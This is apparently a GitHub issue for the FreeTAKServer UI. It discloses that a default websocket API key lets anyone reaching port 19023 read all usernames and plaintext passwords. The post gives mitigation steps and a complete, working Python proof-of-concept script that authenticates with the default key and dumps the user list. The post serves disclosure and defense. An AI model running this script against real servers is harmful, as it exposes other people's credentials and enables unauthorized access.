Security vulnerability exposes passwords to unauthorized users in plain text

Hi guys,

I was checking out the websocket API on my server and found a vulnerability. This vulnerability allows an unauthorized user that can access port 19023 on a FreeTAKServer with the default configuration to see all the usernames and passwords on that server in plain text. An attacker could also add a user for themselves or do anything else documented in the websocket API. This vulnerability is caused by a few issues

Passwords are stored in the database in plain text
The default websocket API key is {"Authenticate": "YourWebsocketKey"} on all installations of FTS as far as I can tell
The systemUsers websocket API call returns all users along with their plain text passwords

This vulnerability can be partially mitigated by changing FTS_WEBSOCKET_KEY in /opt/FTSConfig.yml and WEBSOCKETKEY in the UI's config.py. However this would only prevent unauthorized users from seeing passwords in plain text. Authorized users would still be able to see each other's passwords.

Below is a proof of concept script which has been tested and confirmed working on all versions from at least 2.0.21 from March 2023 up to the current version. Older versions may also be affected. The requirements to run this script against an FTS server with version 2.1.3 and older are

pip3 install python-socketio==4.6.0
pip3 install python-engineio==3.13.2
pip3 install socketio

And for FTS servers 2.1.4.5 and up

pip3 install python-socketio -U
pip3 install python-engineio -U
pip3 install socketio

To run the script you must specify your FTS server's address, for example

python3 vulnerability_script.py localhost

import socketio
import sys

sio = socketio.Client()

@sio.event
def connect():
    print('connection established')
    sio.emit("authenticate", '{"Authenticate": "YourWebsocketKey"}')

@sio.event
def userUpdate(data):
    print(data)
    sio.disconnect()

@sio.event
def systemUsersUpdate(data):
    print(data)
    sio.emit("users")

@sio.event
def authentication(data):
    print("Authentication successful")
    sio.emit("systemUsers")

@sio.event
def disconnect():
    print('disconnected from server')

sio.connect('http://' + sys.argv[1] + ':19023')
sio.wait()

FreeTAKTeam / UI

Security vulnerability exposes passwords to unauthorized users in plain text #75